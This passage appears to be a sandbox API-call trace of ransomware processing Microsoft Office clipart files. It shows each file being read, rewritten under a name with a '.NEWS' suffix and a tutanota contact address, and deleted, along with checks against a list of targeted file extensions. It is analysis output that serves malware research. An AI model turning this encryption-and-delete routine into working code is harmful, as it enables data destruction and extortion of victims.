returned 12 [0091.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.307] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=10192) returned 1 [0091.307] CloseHandle (hObject=0x39c) returned 1 [0091.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0091.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.307] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.307] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0091.308] GetLastError () returned 0x0 [0091.308] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0091.309] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0091.310] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.310] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.310] SetEndOfFile (hFile=0x370) returned 1 [0091.311] CloseHandle (hObject=0x370) returned 1 [0091.311] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.311] SetEndOfFile (hFile=0x39c) returned 1 [0091.312] CloseHandle (hObject=0x39c) returned 1 [0091.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.312] lstrlenW (lpString=".doc") returned 4 [0091.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.312] lstrlenW (lpString=".docx") returned 5 [0091.312] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.312] lstrlenW (lpString=".pdf") returned 4 [0091.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.312] lstrlenW (lpString=".xls") returned 4 [0091.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.312] lstrlenW (lpString=".xlsx") returned 5 [0091.312] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.312] lstrlenW (lpString=".ppt") returned 4 [0091.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.312] lstrlenW (lpString=".zip") returned 4 [0091.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.312] lstrlenW (lpString=".rar") returned 4 [0091.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.312] lstrlenW (lpString=".bz2") returned 4 [0091.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString=".7z") returned 3 [0091.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString=".dbf") returned 4 [0091.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString=".1cd") returned 4 [0091.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString=".jpg") returned 4 [0091.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString=".doc") returned 4 [0091.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString=".docx") returned 5 [0091.313] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.313] lstrlenW (lpString=".pdf") returned 4 [0091.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString=".xls") returned 4 [0091.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.313] lstrlenW (lpString=".xlsx") returned 5 [0091.313] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.313] lstrlenW (lpString=".ppt") returned 4 [0091.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.313] lstrlenW (lpString=".zip") returned 4 [0091.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.313] lstrlenW (lpString=".rar") returned 4 [0091.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString=".bz2") returned 4 [0091.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.313] lstrlenW (lpString=".7z") returned 3 [0091.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.314] lstrlenW (lpString=".dbf") returned 4 [0091.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.314] lstrlenW (lpString=".1cd") returned 4 [0091.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0091.314] lstrlenW (lpString=".jpg") returned 4 [0091.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.314] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.314] lstrlenW (lpString="J0099170.WMF") returned 12 [0091.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.315] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=24292) returned 1 [0091.315] CloseHandle (hObject=0x39c) returned 1 [0091.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0091.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0091.315] GetLastError () returned 0x0 [0091.315] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0091.317] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0091.318] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.318] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.318] SetEndOfFile (hFile=0x370) returned 1 [0091.319] CloseHandle (hObject=0x370) returned 1 [0091.319] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.319] SetEndOfFile (hFile=0x39c) returned 1 [0091.320] CloseHandle (hObject=0x39c) returned 1 [0091.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.320] lstrlenW (lpString=".doc") returned 4 [0091.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.320] lstrlenW (lpString=".docx") returned 5 [0091.320] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0091.320] lstrlenW (lpString=".pdf") returned 4 [0091.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.320] lstrlenW (lpString=".xls") returned 4 [0091.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.320] lstrlenW (lpString=".xlsx") returned 5 [0091.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0091.320] lstrlenW (lpString=".ppt") returned 4 [0091.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.320] lstrlenW (lpString=".zip") returned 4 [0091.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.321] lstrlenW (lpString=".rar") returned 4 [0091.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString=".bz2") returned 4 [0091.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString=".7z") returned 3 [0091.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString=".dbf") returned 4 [0091.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString=".1cd") returned 4 [0091.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString=".jpg") returned 4 [0091.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString=".doc") returned 4 [0091.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString=".docx") returned 5 [0091.321] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0091.321] lstrlenW (lpString=".pdf") returned 4 [0091.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString=".xls") returned 4 [0091.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.321] lstrlenW (lpString=".xlsx") returned 5 [0091.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0091.321] lstrlenW (lpString=".ppt") returned 4 [0091.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.321] lstrlenW (lpString=".zip") returned 4 [0091.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.321] lstrlenW (lpString=".rar") returned 4 [0091.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.321] lstrlenW (lpString=".bz2") returned 4 [0091.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.322] lstrlenW (lpString=".7z") returned 3 [0091.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.322] lstrlenW (lpString=".dbf") returned 4 [0091.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.322] lstrlenW (lpString=".1cd") returned 4 [0091.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0091.322] lstrlenW (lpString=".jpg") returned 4 [0091.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.322] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.322] lstrlenW (lpString="J0099171.WMF") returned 12 [0091.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.322] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8754) returned 1 [0091.327] CloseHandle (hObject=0x39c) returned 1 [0091.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0091.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.329] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.329] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0091.329] GetLastError () returned 0x0 [0091.329] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2232, lpOverlapped=0x0) returned 1 [0091.331] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2240, lpOverlapped=0x0) returned 1 [0091.332] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.332] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.332] SetEndOfFile (hFile=0x370) returned 1 [0091.332] CloseHandle (hObject=0x370) returned 1 [0091.332] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.332] SetEndOfFile (hFile=0x39c) returned 1 [0091.333] CloseHandle (hObject=0x39c) returned 1 [0091.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0091.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.333] lstrlenW (lpString=".doc") returned 4 [0091.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.333] lstrlenW (lpString=".docx") returned 5 [0091.334] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0091.334] lstrlenW (lpString=".pdf") returned 4 [0091.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString=".xls") returned 4 [0091.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.334] lstrlenW (lpString=".xlsx") returned 5 [0091.334] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0091.334] lstrlenW (lpString=".ppt") returned 4 [0091.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString=".zip") returned 4 [0091.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.334] lstrlenW (lpString=".rar") returned 4 [0091.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString=".bz2") returned 4 [0091.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString=".7z") returned 3 [0091.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString=".dbf") returned 4 [0091.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString=".1cd") returned 4 [0091.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString=".jpg") returned 4 [0091.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.334] lstrlenW (lpString=".doc") returned 4 [0091.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString=".docx") returned 5 [0091.334] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0091.334] lstrlenW (lpString=".pdf") returned 4 [0091.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.334] lstrlenW (lpString=".xls") returned 4 [0091.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.335] lstrlenW (lpString=".xlsx") returned 5 [0091.335] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0091.335] lstrlenW (lpString=".ppt") returned 4 [0091.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.335] lstrlenW (lpString=".zip") returned 4 [0091.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.335] lstrlenW (lpString=".rar") returned 4 [0091.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.335] lstrlenW (lpString=".bz2") returned 4 [0091.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.335] lstrlenW (lpString=".7z") returned 3 [0091.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.335] lstrlenW (lpString=".dbf") returned 4 [0091.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.335] lstrlenW (lpString=".1cd") returned 4 [0091.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0091.335] lstrlenW (lpString=".jpg") returned 4 [0091.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.335] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.335] lstrlenW (lpString="J0099172.WMF") returned 12 [0091.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.336] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=58258) returned 1 [0091.336] CloseHandle (hObject=0x39c) returned 1 [0091.336] 